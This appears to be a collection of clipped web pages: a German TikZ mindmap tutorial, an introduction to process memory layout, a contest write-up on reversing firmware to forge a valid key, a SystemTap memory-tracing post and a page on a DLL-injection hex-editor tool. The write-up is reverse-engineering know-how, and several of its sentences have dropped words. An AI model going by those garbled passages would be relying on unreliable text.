folgende Beispiel auf A2 Papier dar.

[/code]

[code]

\definecolor

\{myblue\}\{HTML\}\{92dcec\}

\tikzstyle

\{every annotation\}=\[fill=myblue, font=\sf\]

\begin

\{tikzpicture\}\[huge mindmap, concept color=black, font=\sf \Huge,
text=white\]

\tikzstyle

\{level 1 concept\}+=\[font=\sf \huge\]

\tikzstyle

\{level 2 concept\}+=\[font=\sf \Large\]

\tikzstyle

\{level 3 concept\}+=\[font=\sf \large\]

\tikzstyle

\{level 4 concept\}+=\[font=\sf\]

\node

\[concept\] \{Statistische \\\ Tests\} child\[concept color=gray\!80,
grow=left\]\{ node at \(180:3\) \[concept\] \(einstich\) \{Ein-Stichproben-
Fall\} child\[concept color=green\!50\!gray, grow=45\]\{ node\[concept\]
\{Hypothesen über den EWert\} child\[concept color=green\!70\!gray,
grow=100\]\{ node\[concept\] \(gausstest\)\{Gauß-Test\}\} child\[concept
color=green\!70\!gray\]\{ node\[concept\] \(ttest\) \{t-Test\}\} \}
child\[concept color=red\!70\!gray, grow=135\]\{ node\[concept\] \{Hypothesen
über Anteilswerte\} child\[concept color=red\!90\!gray\]\{ node\[concept\]
\(exakt\) \{exakter Binomialtest\}\} child\[concept color=red\!90\!gray,
grow=210\]\{ node\[concept\] \(approx\)\{approx. Binomialtest\}\} \}
child\[concept color=orange, grow=225\]\{ node\[concept\] \(vtlgsfrei\)
\{Hypothesen über den Median\} child\[concept color=orange\!70\!yellow\]\{
node\[concept\] \{Vorzeichen-Test\}\} child\[concept color=orange\!70\!yellow,
grow=280\]\{ node\[concept\] \(vorzrang\) \{Wilcoxon Vorzeichen-Rang-Test\}\}
\} child\[concept color=blue, grow=315\]\{ node\[concept\]\{goodness of fit
Tests\} child\[concept color=blue\!70\]\{
node\[concept\]\{$\chi^2$-Anpassungs\\-test\} child\[concept
color=blue\!60\]\{ node\[concept\]\{kate\\-goriales Merkmal\}\} child\[concept
color=blue\!60, grow=225\]\{ node\[concept\]\{grup\\-pierte Daten\}\} \} \} \}
child\[concept color=gray\!80, grow=right\]\{ node at \(0:3\) \[concept\]
\{Zwei-Stichproben-Fall\} child\[concept color=green\!50\!gray, grow=90\]\{
node\[concept\] \{Vergleich aus unabh. Stichproben\} child\[concept
color=green\!70\!gray, grow=170\]\{ node\[concept\] \{Vergleich von Anteilen\}
child\[concept color=green\!80\!gray\]\{ node\[concept\] \{Exakter Test von
Fisher\}\} \} child\[concept color=green\!70\!gray, grow=120\]\{
node\[concept\] \{Vergleich von EWerten\} child\[concept
color=green\!80\!gray, grow=160\]\{ node\[concept\] \(zweigauss\) \{Zwei-
Stich\\-proben-Gauß-Test\}\} child\[concept color=green\!80\!gray, grow=90\]\{
node\[concept\] \(zweit\) \{Zwei-Stich\\-proben-t-Test\}\} \} child\[concept
color=green\!70\!gray, grow=60\]\{ node\[concept\] \{Verteilungs\\-freie
Tests\} child\[concept color=green\!80\!gray\]\{ node\[concept\]
\(zweiwilcox\) \{Wilcoxon-Rang\\-summen-Test\}\} \} child\[concept
color=green\!70\!gray, grow=10\]\{ node\[concept\] \{goodness of fit Tests\}
child\[concept color=green\!80\!gray, grow=350\]\{ node\[concept\]
\{$\chi^2$-Homogen\\-itätstest\}\} child\[concept color=green\!80\!gray,
grow=50\]\{ node\[concept\] \(smirnov\) \{Kolmo\\-gorov-Smirnov-Test\}\} \} \}
child\[concept color=red\!70\!gray, grow=225\]\{ node\[concept\] \{Vergleich
aus verbundenen Stichproben\} child\[concept color=red\!90\!gray, grow=225\]\{
node\[concept\] \(verbund\) \{keine gesonderte Betrachtung\}\} child\[concept
color=red\!90\!gray, grow=315\]\{ node\[concept\] \{McNemar-Test für binäre
Merkmale\}\} \} child\[concept color=orange, grow=315\]\{ node\[concept\]
\{Zusammen\\-hangs\\-analyse\} child\[concept color=orange\!70\!yellow\]\{
node\[concept\] \{$\chi^2$-Unabhängig\\-keitstest\}\} child\[concept
color=orange\!70\!yellow, grow=350\]\{ node\[concept\]
\{Korrelations\\-test\}\} \} \};

\node

\[annotation, left\] at \(gausstest.west\) \{$\sigma^2$ bekannt\};

\node

\[annotation, right\] at \(ttest.east\) \{$\sigma^2$ unbekannt\};

\node

\[annotation, right\] at \(exakt.east\) \{kleiner Stichprobenumfang\};

\node

\[annotation, right\] at \(approx.east\) \{großer Stichprobenumfang\};

\node

\[annotation, left\] at \(vtlgsfrei.west\) \{Verteilungsfrei,
nonparametrisch;\\\ bei stetigen Verteilungen\};

\node

\[annotation, right\] at \(vorzrang.east\) \{bei symmetrischer Verteilung\};

\node

\[annotation, left\] at \(zweigauss.west\) \{$\sigma\_X^2$ und $\sigma\_Y^2$
bekannt\};

\node

\[annotation, left\] at \(zweit.west\) \{$\sigma\_X^2$ und $\sigma\_Y^2$
unbekannt\};

\node

\[annotation, right\] at \(zweiwilcox.east\) \{stetige Vtlgen vorausgesetzt\};

\node

\[annotation, right\] at \(smirnov.east\) \{stetige Vtlgen vorausgesetzt\};

\begin

\{pgfonlayer\}\{background\}

\draw

\[concept connection\] \(verbund\) edge \(einstich\);

\end

\{pgfonlayer\}

\end

\{tikzpicture\}  <img src='img/Temp2_10555.png' />  
---  
back to top

Das, was einem auffallen sollte, ist die Länge der Äste von "Ein-Stichproben-
Fall" und "Zwei-Stichproben-Fall". Diese habe ich mit den Befehlen

node at \(180:3\)

bzw.

node at \(0:3\)

verlängert. Die erste Zahl in den runden Klammern gibt den Winkel an, bei dem
der Ast herauswachsen soll. Die zweite Zahl gibt die Länge des Astes an. Das,
was sonst noch an diesem Beispiel neu ist, ist die Verbindungslinie zwischen
"Ein-Stichproben-Fall" und "keine gesonderte Betrachtung". Diese wurde mit der
Umgebung

pgfonlayer

in den Hintergrund gezeichnet. Beim kompilieren verursacht das zwar bei mir
einen Fehler, den ich mir zum jetzigen Zeitpunkt nicht erklären kann. Das hat
aber keinen negativen Einfluss auf das Dokument.

## Mindmap-Man

Zu guter letzt noch eine kleine Spielerei, der Mindmap-Man. An ihm kann man
vielleicht nochmal schön die Verlängerung der Äste nachvolziehen. Ansonsten
ist das nichts besonderes.

[/code]

[code]

\begin

\{tikzpicture\}\[mindmap, concept color=green\!70\!gray, text=white, minimum
size=0.5cm, font=\sf \Large\]

\tikzstyle

\{level 1 concept\}+=\[font=\sf\]

\tikzstyle

\{level 2 concept\}+=\[font=\sf\]

\node

\[concept, minimum size=5cm\] \{Körper\} child\[grow=10, concept
color=orange\] \{node at \(80:5.5\) \[concept\] \{linke Hand\} child\[concept
color=orange\!90, grow=290\] \{node\[concept\] \{kleiner Finger\}\}
child\[concept color=orange\!80, grow=340\] \{node\[concept\]
\{Ring\\-finger\}\} child\[concept color=orange\!70, grow=30\]
\{node\[concept\] \{Mittel\\-finger\}\} child\[concept color=orange\!60,
grow=80\] \{node\[concept\] \{Zeige\\-finger\}\} child\[concept
color=orange\!50, grow=130\] \{node\[concept\] \{Daumen\}\}\} child\[concept
color=orange, grow=170\] \{node at \(100:5.5\) \[concept\] \{rechte Hand\}
child\[concept color=orange\!90, grow=250\] \{node\[concept\] \{kleiner
Finger\}\} child\[concept color=orange\!80, grow=200\] \{node\[concept\]
\{Ring\\-finger\}\} child\[concept color=orange\!70, grow=150\]
\{node\[concept\] \{Mittel\\-finger\}\} child\[concept color=orange\!60,
grow=100\] \{node\[concept\] \{Zeige\\-finger\}\} child\[concept
color=orange\!50, grow=50\] \{node\[concept\] \{Daumen\}\}\} child\[concept
color=blue, grow=250\] \{node at \(260:5.5\) \[concept\] \{rechter Fuß\}
child\[concept color=blue\!90, grow=100\] \{node\[concept\] \{kleiner Zeh\}\}
child\[concept color=blue\!80, grow=150\] \{node\[concept\] \{dritter Zeh\}\}
child\[concept color=blue\!70, grow=200\] \{node\[concept\] \{Mittel\\-zeh\}\}
child\[concept color=blue\!60, grow=250\] \{node\[concept\] \{zweiter Zeh\}\}
child\[concept color=blue\!50, grow=300\] \{node\[concept\] \{großer
Onkel\}\}\} child\[concept color=blue, grow=290\] \{node at \(280:5.5\)
\[concept\] \{linker Fuß\} child\[concept color=blue\!90, grow=80\]
\{node\[concept\] \{kleiner Zeh\}\} child\[concept color=blue\!80, grow=30\]
\{node\[concept\] \{dritter Zeh\}\} child\[concept color=blue\!70, grow=340\]
\{node\[concept\] \{Mittel\\-zeh\}\} child\[concept color=blue\!60, grow=290\]
\{node\[concept\] \{zweite Zeh\}\} child\[concept color=blue\!50, grow=240\]
\{node\[concept\] \{großer Onkel\}\}\} child\[grow=90, concept color=red\]
\{node \[concept, minimum size=3cm\] \{Kopf\}\};

\end

\{tikzpicture\}  <img src='img/Temp2_10551.png' />  
---

# Buffer Overflows and You

**Created:**| _1/31/2012 7:21:15 PM_  
---|---  
**Updated:**| _1/31/2012 7:21:30 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials x64_  
  

## Introduction

Welcome to "Buffer Overflows and You." Today we're going to talk about
computers. In particular, I'd like to focus on something called a "buffer
overflow." What does that mean? Well, let's start by taking a step back and
looking at your average computer program.

A modern computer generally runs one "master process," the operating system.
The OS is responsible for managing all of the machine's resources, such as
memory, disk, access to the video card and other peripherals, etc. The OS also
provides an abstraction that makes it easier for developers to write programs
to run on the computer without needing intimate knowledge about the machine's
architecture.

## Virtual memory

In the context provided by the operating system, many other "user" processes
are running. Because multiple processes are running at what can be considered
essentially the same time\*, the OS must provide protection between processes.
One protection mechanism that modern operating systems and architectures
provide is called **virtual memory**. Through hardware support and additional
code in the operating system, virtual memory allows each user process to act
as though it is the only thing running on the computer. It gives each process
a completely separate **address space**.

<img src='img/Temp2_1184.jpg' alt='vm-small' />

This is facilitated through the use of page tables, as illustrated above. Page
tables map the virtual addresses used by the running process into physical
addresses that correspond to actual memory. It's good to know this information
when looking at a particular process' address space. You'll notice that if you
look at the memory map for two different processes there are a lot of common
addresses. Let's try it out...

First let's create a really simple program. Copy this code into a file called
"sample1.c"

[code]

    #include <stdio.h>
    
    int main() {
      char c;
    
      printf("I am a running instance, or process, of program 1.\n");
      printf("My PID is %d\n", getpid());
      printf("Press enter to exit...\n");
      c = getchar();
    
      return 0;
    }
    
[/code]

Now let's run it...

[code]

    $ gcc -o sample1 sample1.c
    $ ./sample1
    I am a running instance, or process, of program 1.
    My PID is 23814
    Press enter to exit...
    
[/code]

This creates a single instance of the program, called a process, with the
shown PID. You'll probably see a different number for the PID. They're
assigned sequentially as programs run. Let's look at this process' memory map
in a separate terminal, with the process still running:

[code]

    $ pmap 23814  # If you don't have pmap installed, use 'cat /proc/23814/maps'
    23814:   ./simple1
    0000000000400000      4K r-x--  /home/turkstra/cs526/simple1
    0000000000600000      4K rw---  /home/turkstra/cs526/simple1
    0000003191400000    120K r-x--  /lib64/ld-2.11.1.so
    000000319161d000      4K r----  /lib64/ld-2.11.1.so
    000000319161e000      4K rw---  /lib64/ld-2.11.1.so
    000000319161f000      4K rw---    [ anon ]
    0000003191800000   1468K r-x--  /lib64/libc-2.11.1.so
    000000319196f000   2048K -----  /lib64/libc-2.11.1.so
    0000003191b6f000     16K r----  /lib64/libc-2.11.1.so
    0000003191b73000      4K rw---  /lib64/libc-2.11.1.so
    0000003191b74000     20K rw---    [ anon ]
    00007f09d02ce000     12K rw---    [ anon ]
    00007f09d02f2000     12K rw---    [ anon ]
    00007fff14cb7000     84K rw---    [ stack ]
    00007fff14d00000      4K r-x--    [ anon ]
    ffffffffff600000      4K r-x--    [ anon ]
     total             3812K
    
[/code]

Let's look at the memory map for another running program, our shell...

[code]

    $ pmap $$   # $$ is the pid of the currently running process (your shell)
    27379:   -bash
    0000000000400000    836K r-x--  /bin/bash
    00000000006d0000     40K rw---  /bin/bash
    00000000006da000     20K rw---    [ anon ]
    0000000001dc4000    396K rw---    [ anon ]
    0000003191400000    120K r-x--  /lib64/ld-2.11.1.so
    000000319161d000      4K r----  /lib64/ld-2.11.1.so
    000000319161e000      4K rw---  /lib64/ld-2.11.1.so
    000000319161f000      4K rw---    [ anon ]
    0000003191800000   1468K r-x--  /lib64/libc-2.11.1.so
    000000319196f000   2048K -----  /lib64/libc-2.11.1.so
    0000003191b6f000     16K r----  /lib64/libc-2.11.1.so
    0000003191b73000      4K rw---  /lib64/libc-2.11.1.so
    0000003191b74000     20K rw---    [ anon ]
    0000003192000000      8K r-x--  /lib64/libdl-2.11.1.so
    0000003192002000   2048K -----  /lib64/libdl-2.11.1.so
    0000003192202000      4K r----  /lib64/libdl-2.11.1.so
    0000003192203000      4K rw---  /lib64/libdl-2.11.1.so
    00000031a0c00000    116K r-x--  /lib64/libtinfo.so.5.7
    00000031a0c1d000   2048K -----  /lib64/libtinfo.so.5.7
    00000031a0e1d000     16K rw---  /lib64/libtinfo.so.5.7
    00007ffdbed49000     48K r-x--  /lib64/libnss_files-2.11.1.so
    00007ffdbed55000   2044K -----  /lib64/libnss_files-2.11.1.so
    00007ffdbef54000      4K r----  /lib64/libnss_files-2.11.1.so
    00007ffdbef55000      4K rw---  /lib64/libnss_files-2.11.1.so
    00007ffdbef56000  96452K r----  /usr/lib/locale/locale-archive
    00007ffdc4d87000     12K rw---    [ anon ]
    00007ffdc4da4000      8K rw---    [ anon ]
    00007ffdc4da6000     28K r--s-  /usr/lib64/gconv/gconv-modules.cache
    00007ffdc4dad000      4K rw---    [ anon ]
    00007fff28c16000     84K rw---    [ stack ]
    00007fff28d5f000      4K r-x--    [ anon ]
    ffffffffff600000      4K r-x--    [ anon ]
     total           107920K
    
[/code]

Notice how even though both processes are running at the same time, they both
start at the same address - 0x00400000 in this example. This is possible
because of virtual memory. They both start at the same _virtual_ address. But
each individual virtual address points to a different _physical_ address as
mentioned above.

## Process memory layout

Okay, great\! Let's talk about the general layout of a program in memory.  
On your standard Linux system, it looks something like this \[1\] ...

<img src='img/Temp2_1185.jpg' alt='mmap-small' />

It is worth noting that this layout is mostly for 64-bit systems. On 32-bit
systems the shared libraries are usually found at the lowest address, followed
by the text segment, then everything else.

The text, or code, segment contains the actual program and any statically
linked libraries. On 64-bit systems it generally starts at 0x400000 \(32-bit
systems like to place it at 0x8047000\).

The data and BSS segments come next. The data segment contains all initialized
global variables as well as static strings \(eg, those used in printf\). The
BSS, or "block started by segment" region holds all uninitialized global
variables \(those which by C convention are initialized automatically to 0\).

After that comes the heap, where all memory obtained via malloc\(\) is
located. The heap grows upwards as more memory is requested.

Then we have any shared libraries such as the loader, libc, malloc, etc.

Finally we have the stack, which it should be noted grows downward as it
expands.

There is no heap in our sample programs because we don't ever call malloc\(\).
If you add a malloc\(\) call to the sample program and run it again, you'll
see that memory has also been allocated for a heap.

\* Really, there's no need to get into a discussion about context switching,
preemption, and multitasking. Really.

# Positive Research Center: Best Reverser Write-Up: Analyzing Uncommon
Firmware

**Created:**| _7/22/2015 10:59:10 AM_  
---|---  
**Updated:**| _7/22/2015 10:59:10 AM_  
**Author:**| __  
**Tags:**| _reversing Firmware_  
  

# Best Reverser Write-Up: Analyzing Uncommon Firmware

<img src='img/Temp2_6277.jpg' />

While developing tasks for PHDays’ contest in reverse engineering, we had a
purpose of replicating real problems that RE specialists might face. At the
same time we tried to avoid allowing cliche solutions.

Let us define what common reverse engineering tasks look like. Given an
executable file for Windows \(or Linux, MacOS or any other widely-used
operating system\). We can run it, watch it in a debugger, and twist it in
virtual environments in any way possible. File format is known. The
processor’s instruction set is x86, AMD64 or ARM. Library functions and system
calls are documented. The equipment can be accessed through the operating
system only. Using tools like IDAPro and HеxRays makes analysis of such
applications very simple, while debug protection, virtual machines with their
own instruction sets, and obfuscation could complicate the task. But large
vendors hardly ever use any of those in their programs. So there’s no point in
developing a contest aimed at demonstrating skills that are rarely addressed
in practice.

However, there’s another area, where reverse engineering became more in-
demand, that’s firmware analysis. The input file \(firmware\) could be
presented in any format, can be packed, encrypted. The operating system could
be unpopular, or there could be no operating system at all. Parts of the code
could not be changed with firmware updates. The processor could be based on
any architecture. \(For example, IDAPro “knows” not more than 100 different
processors.\) And of course, there’s no documentation available, debugging or
code execution cannot be performed―a firmware is presented, but there’s no
device.

Our contest’s participants needed to analyze an executable and find the
correct key and the relative email \(any internet user was able to take part
in the contest\).

###  Part One: Loader

At the first stage, the input file is an ELF file compiled with a cross
compiler for the PA-RISC architecture. IDA can work with this architecture,
but not as good as with x86. Most requests to stack variables are not
identified automatically, and you’ll have to do it manually. At least you can
see all the library functions \(log, printf, memcpy, strlen, fprintf, sscanf,
memset, strspn\) and even symbolic names for some functions \(с32, exk, cry,
pad, dec, cen, dde\). The program expects two input arguments: an email and
key.

<img src='img/Temp2_6272.jpg' width='640' height='39' />

It’s not hard to figure out that the key should consist of two parts separated
by the “-“ character. The first part should consist of seven MIME64 characters
\(0-9A-Za-z+/\), the second part of 32 hex characters that translate to 16
bytes.

<img src='img/Temp2_6275.jpg' width='640' height='50' />

Further we can see calls to c32 functions that result in:

t = c32\(-1, argv\[1\], strlen\(argv\[1\]\)+1\)

k = ~c32\(t, argv\[2\], strlen\(argv\[2\]\)+1\)

Name of the function is a hint: it’s a СRC32 function, which is confirmed by
the constant 0xEDB88320.

Next, we call the dde function \(short for doDecrypt\), and it receives the
inverted output of the CRC32 function \(encryption key\) as the first
argument, and the address and the size of the encrypted array as the second
and third ones.

Decryption is performed by BTEA \(block tiny encryption algorithm\) based on
the code taken from Wikipedia. We can guess that it’s BTEA from the use of the
constant DELTA==0x9E3779B9. It’s also used in other algorithms on which BTEA
is based on, but there are not many of them.

The key should be of 128-bit width, but we receive only 32 bits from CRC32. So
we get three more DWORDs from the exk function \(expand\_key\) by multiplying
the previous value by the same DELTA.

However, the use of BTEA is uncommon. First of all, the algorithm supports a
variable-width block size, and we use a block of 12-bytes width \(there are
processors that have 24-bit width registers and memory, then why should we use
only powers of two\). And in the second place, we switched encryption and
decryption functions.

Since data stream is encrypted, cipher block chaining is applied. Enthropy is
calculated for decrypted data in the cen function \(calc\_enthropy\). If its
value exceeds 7, the decryption result is considered incorrect and the program
will exit.

The encryption key is 32-bit width, so it seems to be easily brute-forced.
However, in order to check every key we need to decrypt 80 kilobytes of data,
and then calculate enthropy. So brute-forcing the encryption key will take a
lot of time.

But after the calculation, we call the pad function \(strip\_pad\), which
check and remove PKCS\#7 padding. Due to CBC features, we need to decrypt only
one block \(the last one\), extract N byte, check whether its range is between
1 and 12 \(inclusive\) and each of the last N bytes has value N. This allows
reducing the number of operations needed to check one key. But if the last
encrypted byte equals 1 \(which is true for 1/256 keys\), the check should be
still performed.

The faster method is to assume that decoded data have a DWORD-aligned length
\(4 bytes\). in the last DWORD of the last block there may be only one of
three possible values: 0x04040404, 0x08080808 0x0C0C0C0C. using heuristic and
brute force methods you run through all possible and find the right one in
less than 20 minutes.

If all the checks after the decryption entropy and the integrity of the
padding\) are successful, we call the fire\_second\_proc function which
simulates the launch of the second CPU and the loading of decrypted data of
the firmware \(modern devices usually have more than one processor—with
different architectures\).

the second processor launches, receives the user’s email and 16 bytes with the
second part of the key via the function send\_auth\_data. At this point we
made a mistake: there was the size of the string the email instead of the size
of the second part of the

###  **Part Two: Firmware**

The analysis of the second part is a little bit more complicated. There was no
ELF file, only a memory image—without headings, function names, and other
metadata. Type of the processor load address were unknown as well.

We thought of brute force as the algorithm of determining the processor
architecture. in the following type, and repeat until IDA shows something
similar to a code. The brute force should lead to the conclusion that big-
endian SPARC.

Now we need to determine the load address. The function 0x22E0 is not called,
but it contains a lot of code. We can assume that is the entry point of the
program, the start function

he third instruction of the start function, an unknown library function with
one argument == 0x126F0 is called, the same function is called from the start
function four more times, always with arguments with similar values \(0x12718,
0x12738, 0x12758, 0x12760\). And in the middle of the program, starting from
0x2490, there are five lines with text messages:

00002490 .ascii "Firmware loaded, sending ok back."<0>

000024B8 .ascii "Failed to retrieve email."<0>

000024D8 .ascii "Failed to retrieve codes."<0>

000024F8 .ascii "Gratz\!"<0>

00002500 .ascii "Sorry may be next time..."<0>

Assuming that the load address equals 0x126F0-0x2490 == 0x10260, then all the
arguments indicate the lines when calling the library function, and the
unknown function turns out to be the printf function \(or puts\).

After changing the base, the code will look something like this:

<img src='img/Temp2_6273.jpg' />

The value of 0x0BA0BAB0, transmitted to the function sub\_12194, can be found
in the first part of the task, in the function fire\_second\_proc, and is
compared with what we obtain from read\_pipe\_u32 \(\). sub\_12194 should be
called write\_pipe\_u32.

Similarly, calls of the library function sub\_24064 are memset \(someVar, ,
0x101\) the email code, while sub\_121BC is read\_pipe\_str \(\), reversed
write\_pipe\_str \(\) from the first part.

The first function \(at offset or address 0x10260\) has typical constants of
MD5\_Init:

<img src='img/Temp2_6276.jpg' />

Next to the call to MD5\_Init, is easy to detect the function MD5\_Update \(\)
MD5\_Final \(\), preceded by the call to the library strlen \(\).

<img src='img/Temp2_6278.jpg' />

Not too many unknown functions are left in the start\(\) function.

<img src='img/Temp2_6274.jpg' />

The sub\_12480 function reverses the byte array of specified length. In fact,
it’s memrev, which receives a code array input bytes.

Obviously, the sub\_24040 function checks whether the is correct. arguments
transfer the calculated value of MD5\(email\), the array filled in function
sub\_12394, and the number could be call to memcmp\!

real trick is happening in sub\_12394. There is almost hints there, but the
algorithm is described by one phrase—the multiplication of binary matrix of
the 128 by the binary vector of 128. The matrix is stored in the firmware
0x240B8.

Thus, the code is correct if MD5\(email\) == matrix\_mul\_vector \(matrix,
code\).

###  Calculating the Key

To find the correct value of the code, you need to solve a system of binary
equations described by the matrix, where the right-hand side the relevant bits
of the MD5\(email\). you forgot linear algebra: this is easily solvedby
Gaussian elimination

the right-hand side of the key is known \(32 hexadecimal characters\), we can
try to guess the first seven characters so that the CRC32 calculation result
was equal to the value found for the key BTEA. There are about 1024 of such
values, and they can be quickly obtained by brute-force, or by converting
CRC32 and checking valid characters.

Now you need to put everything together and get the key that will pass all the
checks and will be recognized as valid by verifier

We were afraid that no one would be able to solve the task from the beginning
to the Fortunately, Victor Alyushin showed that our fears groundless. You can
find his write-up on the task at
http://nightsite.info/blog/16542-phdays-2015-best-reverser.html. This is the
second time Victor Alyushin has won the contest \(he was the winner in as
well\).

A participant who wished to remain anonymous solved a part of the task and
took second place.

Thanks to all participants\!

#### No comments:

#### Post a Comment

# Analyzing memory use with SystemTap « Colin Walters

**Created:**| _3/24/2011 8:51:26 PM_  
---|---  
**Updated:**| _3/24/2011 8:51:52 PM_  
**Author:**| __  
**Tags:**| _Linux analysis Memory_  
  

## Analyzing memory use with SystemTap

March 19, 2011

So last year, GLib gained support for SystemTap. I used this for a bit to
analyze memory usage in GNOME Shell at the time, but for Fedora 14, we forgot
to –enable-systemtap \(oops\!\), and so shipped without the support. This is
now fixed in Fedora 15, so we can “out of the box” instrument any GLib program
in a variety of ways.

Now, tracing and performance analysis is an extremely complex subject, and
there are a ton of different tools out there for Linux. Tracing user space in
particular is still an area under active development. But what I want to talk
about today is using SystemTap specifically on GLib.

SystemTap is very different from a tool like “strace” that you might use to
watch a particular process. It’s a full programming language \(and a fairly
neat one at that\), and it’s  _global_ to the system. Now, the static probes
that we added to GLib give you easy access to important data from the library.
Let’s look at an example.

`  
// gmalloc_watch.stp: Print calls to g_malloc  
// Usage: stap ./gmalloc-watch.stp`

`probe glib.mem_alloc {  
printf ("g_malloc: pid=%d n_bytes=%d\n", pid(), n_bytes);  
}  
`

Compile and run this with: `$ stap -v ./gmalloc_watch.stp`. What do you see?

`  
g_malloc: pid=3598 n_bytes=104  
g_malloc: pid=3598 n_bytes=68  
g_malloc: pid=3598 n_bytes=16  
g_malloc: pid=3598 n_bytes=40  
g_malloc: pid=3598 n_bytes=40  
g_malloc: pid=3598 n_bytes=1  
g_malloc: pid=3598 n_bytes=104  
g_malloc: pid=3598 n_bytes=104  
g_malloc: pid=3598 n_bytes=68  
...  
`

All calls to `g_malloc` from **all** processes on the system, with very little
overhead. This is pretty cool, and it’s just scratching the surface of what we
can do. \(Note: You will need to add your user to the `stapusr` group etc. to
make the above work; for more documentation see the SystemTap web page linked
above\).

Okay, so what  _I_ wanted was a good way to answer the question “What’s using
memory in my GLib program?”. The latest version of my SystemTap script to help
answer that is glib-memtrace2.stp. Let’s dive in:

Download, and try: `stap -v -c gtk-demo ./glib-memtrace2.stp`. Here’s some
selections from the output:

`  
$ stap -v -c gtk-demo ~/tmp/glib-memtrace2.stp  
Pass 1: parsed user script and 82 library script(s) using
25328virt/16196res/2340shr kb, in 650usr/30sys/696real ms.  
Pass 2: analyzed script: 21 probe(s), 5 function(s), 3 embed(s), 9 global(s)
using 27328virt/18164res/3360shr kb, in 120usr/500sys/1801real ms.  
Pass 3: using cached
/home/walters/.systemtap/cache/49/stap_496ad3bd34b95e731521ff2d33066010_13757.c  
Pass 4: using cached
/home/walters/.systemtap/cache/49/stap_496ad3bd34b95e731521ff2d33066010_13757.ko  
Pass 5: starting run.  
// glib-memtrace2.stp; target=3703  
g_slice: 483652  
g_malloc: 578938  
GObject GParamObject: 39  
GObject GdkDisplayManager: 1  
GObject GdkDisplayX11: 1  
GObject GParamPointer: 5  
GObject GParamDouble: 15  
GObject GdkScreenX11: 1  
GObject GdkVisual: 32  
GObject GtkWindow: 2  
# <snip lots of other GObjects>  
`

This is after 5 seconds. What’s it telling me? The `gtk-demo` process
allocated `578938` bytes using `g_malloc()` in the 5 seconds since it started
up. There is also an almost equal number of bytes taken from the slice
allocator. Even more interesting, I also have a dump of how many GObjects of
which class it allocated. Now, 5 seconds later:

`  
g_slice: 52  
g_malloc: -84  
GObject GdkPixmapImplX11: 0  
GObject GdkPixmap: 0  
GObject PangoLayout: 5  
# <snip other GObjects>  
`

What it’s printing now is the **delta** since the earlier statistics. We can
see that the `g_malloc` heap shrank by 84 bytes. The 0 for e.g.`GdkPixmap` is
telling me that one got allocated and freed. Basically, I can interact with
apps at nearly full speed and watch in real time how that affects memory
usage. Very cool\!

I’ve been using this on GNOME 3, and will be checking for memory leaks for the
final release. Let’s analyze some parts of the script, so you can understand
not only how this script works, but how you can write SystemTap programs.

First of all, I mentioned earlier that SystemTap is **global** to the system
\(your programs become kernel modules\). Because we only want to trace one
process, we need to do this:

`  
if (target() == pid())  
`

The value of `target()` is set to whatever the process ID of the program we
started with `-c` was \(in the case above, remember we used `-c gtk-demo`\).

Second, keeping track of the `g_malloc` heap is a little tricky; when the
function is called, we are told how many bytes it’s allocating, but when the
corresponding `g_free` is called, we don’t know how much is freed\! So how did
I do it? Basically we model the heap:

`  
global g_heap[65536]  
...  
probe glib.mem_alloc {  
g_malloc_delta += n_bytes  
g_heap[mem] = n_bytes  
}  
probe glib.mem_free {  
g_malloc_delta -= g_heap[mem]  
delete g_heap[mem]  
}  
`

The `g_heap` variable is an associative array, mapping memory addresses of
malloc “chunks” to how big they are. Here you can see a sort of limitation of
SystemTap in that things will fail if the process mallocs more than 65536
hunks. These fixed limits are because SystemTap keeps memory in kernel space.

Finally, we set up a timer to print out information every 5 seconds:

`  
probe timer.sec(5) {  
printf ("g_slice: %d\n", g_slice_delta);  
g_slice_delta = 0;  
...  
`

Pretty easy. That’s it for now\! Again for more information on SystemTap,
check out the web page. For more on the GLib tapset points, see
`/usr/share/systemtap/tapset/glib.stp` and also the`gobject.stp`. Thanks for
reading, and happy memory leak hunting\!

  

# Hiew+

**Created:**| _1/18/2010 4:30:07 PM_  
---|---  
**Updated:**| _1/18/2010 4:30:19 PM_  
**Author:**| __  
**Tags:**| _reversing Hacks_  
  

## Introduction

FsPlus is an implementation of an idea that allows you to access non disk
files as if they were disk files.

Hiew+ is a real life example of FsPlus where we take Hiew \(an excellent hex
editor\) and turn it into an excellent process editor.

Each process will be view as a file with a size as much as
SYSTEM\_INFO.lpMaximumApplicationAddress returns.

In theory FsPlus should work with any hex editor to provide process memory
editing, but this release is just Hiew ready.

## Usage

To use FsPlus with you, you need to inject FsPlus.dll into Hiew's process
memory so that the APIs are hooked. After APIs are hooked, FsPlus will
recognize and treat specially any file name that has the following form:
"pid|1234" where 1234 is a given PID.

  

To make the usage even simpler, we provided a small GUI \(FsPlusGui\) to allow
you launch Hiew conveniently.

  

In fact, Hiew+ can be considered as a nice addition to IDA Pro's debugger or
any other debugger.

  

Here's a small screenshot when you run FsPlusGui:

<img src='img/Temp2_3893.gif' width='665' height='696' />

You will need to double click on a process to have Hiew or the desired process
launched.

Make sure you specify the settings correctly in FsPlus.ini:

> _\[settings\]  
>  title=Hiew+ \(c\) lallous <lallousz-x86@yahoo.com>  
> hookdll=.\fsPlus.dll  
> launch=c:\hiew\hiew32.exe  
> _
## Features

After you run it successfully, you will be able to start editing processes as
if you were editing files.

The catch is every process virtual address is now a physical offset in hiew.

### Modules as IMAGE\_SECTION\_HEADERs

For your convenience we have created additional IMAGE\_SECTION\_HEADER
structures in the PE header of the main process, so that each loaded module is
view as a PE section:

  

<img src='img/Temp2_3891.gif' width='652' height='331' />

### Textual information about process' modules

In addition to view modules as PE sections, you will have an actual
representation of all loaded modules just after the end of the PE header:

<img src='img/Temp2_3894.gif' />

### No Read Errors

To avoid reading errors and such, any unreadable memory page is filled with
"BAD\!" pattern.

<img src='img/Temp2_3892.gif' />

### Physical and Logical disk editing

This is not something added by FsPlus, rather it is a "less" documented
feature of Hiew32 where you can run it with a disks device name and have it
edit the disk.

Using the provided GUI you can easily do just that.

<img src='img/Temp2_3890.gif' width='537' height='353' />

## Conclusion

This tool has been tested with Windows Vista \(32\) and Windows XP SP2 and
with Hiew 7.29.

Hope you find this tool useful as Hiew itself.

Feel free to contact me if you have any ideas or questions.

  

Oh btw, here's the download link.

  

# Nmap NSE Hacking, Teil 1: Einführung • scip AG Labs

**Created:**| _6/4/2010 1:07:50 PM_  
---|---  
**Updated:**| _6/4/2010 1:07:50 PM_  
**Author:**| __  
**Tags:**| _security tools scripting network-security Tutorials_  
  

## Labs: Nmap NSE Hacking, Teil 1: Einführung

